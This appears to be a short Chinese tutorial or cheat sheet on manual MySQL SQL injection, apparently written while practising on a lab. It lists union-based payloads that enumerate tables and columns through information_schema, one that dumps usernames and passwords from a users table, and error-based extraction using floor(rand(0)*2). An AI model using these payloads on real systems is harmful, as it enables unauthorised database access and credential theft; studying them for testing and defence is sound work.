1.一般用 ' " ) 等符号来闭合,再用%23(即#)来注释后面语句。
2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询。
union select 1,2,database()%23
3.利用information_schema库中tables这张表,查mysql数据库中的第一个表。
select table_name from information_schema.tables where table_schema='mysql' limit 0,1;
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
4.利用information_schema库中columns这张表,查mysql数据库中user表中的第一列名。
select column_name from information_schema.columns where table_schema='mysql' and table_name='user' limit 0,1;
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
5.知道库名,表名,列名直接查数据了
union select 1,group_concat(username),group_concat(password) from users%23
6.当无回显时可利用报错大法(其他报错函数也行,可参考我另一篇博客)
select count(*),floor(rand(0)*2) x from information_schema.tables group by x;
错误报告中的'1'就是floor(rand(0)*2)的执行结果
爆mysql数据库中的第一张表名
select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema="mysql" limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x;